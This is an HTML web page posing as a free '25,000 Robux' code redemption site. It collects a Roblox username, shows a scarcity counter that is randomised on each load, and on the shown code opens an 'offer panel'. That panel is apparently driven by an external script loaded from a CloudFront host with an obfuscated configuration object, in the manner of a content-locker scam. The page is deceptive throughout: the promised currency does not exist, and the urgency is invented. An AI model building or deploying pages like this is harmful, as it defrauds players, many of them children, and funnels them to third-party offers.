<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Redeem Code</title>
    <style>
        body {
            background: linear-gradient(180deg, #000428, #004e92);
            color: white;
            font-family: Arial, sans-serif;
            margin: 0;
            padding: 0;
        }
        .container {
            display: flex;
            flex-direction: column;
            align-items: center;
            justify-content: center;
            min-height: 100vh;
        }
        .green-banner {
            background-color: green;
            padding: 15px 20px;
            color: white;
            font-size: 1.2em;
            margin-bottom: 30px;
            text-align: center;
            border-radius: 5px;
            width: 80%;
            max-width: 600px;
            display: flex;
            align-items: center;
            justify-content: center;
            gap: 10px;
        }
        .green-banner img {
            height: 20px;
            width: 20px;
        }
        .header {
            font-size: 2em;
            font-weight: bold;
            margin-bottom: 20px;
        }
        .form-container {
            background-color: #012a4a;
            padding: 30px 20px;
            border-radius: 10px;
            box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2);
            text-align: center;
            width: 80%;
            max-width: 600px;
        }
        .form-container input {
            width: 80%;
            padding: 10px;
            margin: 10px 0;
            border-radius: 5px;
            border: 1px solid #ccc;
            font-size: 1em;
        }
        .form-container button {
            padding: 10px 20px;
            font-size: 1em;
            background-color: #6a00ff;
            color: white;
            border: none;
            border-radius: 5px;
            cursor: pointer;
            transition: background-color 0.3s;
        }
        .form-container button:hover {
            background-color: #5800cc;
        }
        .error-message {
            color: red;
            font-size: 1em;
            margin-top: 15px;
        }
    </style>
    <script type="text/javascript">
        var YmHnn_CgA_tpkcGc = {"it": 4413285, "key": "e3ac4"};
        function _Jf() {
            alert("Offer panel opened"); // Placeholder for the actual offer panel function
        }
    </script>
    <script src="https://d2rst8vhtu89fd.cloudfront.net/80dd220.js"></script>
</head>
<body>
    <div class="container">
        <div id="green-banner" class="green-banner">
            <img src="https://img.icons8.com/emoji/48/000000/wrapped-gift.png" alt="Gift">
            <span>25,000 Robux Code: BUX15 <br>Only 15 codes remaining.</span>
        </div>
        <div class="header">Redeem</div>
        <div class="form-container">
            <input type="text" id="code" placeholder="Enter Code">
            <input type="text" id="username" placeholder="Enter Roblox Username">
            <button id="redeemButton">Redeem</button>
            <div id="error-message" class="error-message"></div>
        </div>
    </div>

    <script>
        // Generate a random number for the codes left and display it
        function generateCodesLeft() {
            const remainingCodes = Math.floor(Math.random() * 16) + 5; // Random number between 5 and 20
            const banner = document.getElementById("green-banner");
            banner.querySelector("span").innerText = `25,000 Robux Code: BUX15 \nOnly ${remainingCodes} codes remaining.`;
        }

        // Call the function on page load
        generateCodesLeft();

        // Validate the code input
        function validateCode() {
            const codeInput = document.getElementById("code").value;
            const validCode = "BUX15"; // Example valid code
            const errorMessage = document.getElementById("error-message");

            if (codeInput === validCode) {
                // If code is valid, execute the script
                _Jf();
                errorMessage.innerText = "";
            } else {
                // If code is invalid, show error message
                errorMessage.innerText = "This code is invalid.";
            }
        }

        // Add event listener for button click
        document.getElementById("redeemButton").addEventListener("click", validateCode);
    </script>
</body>
</html>
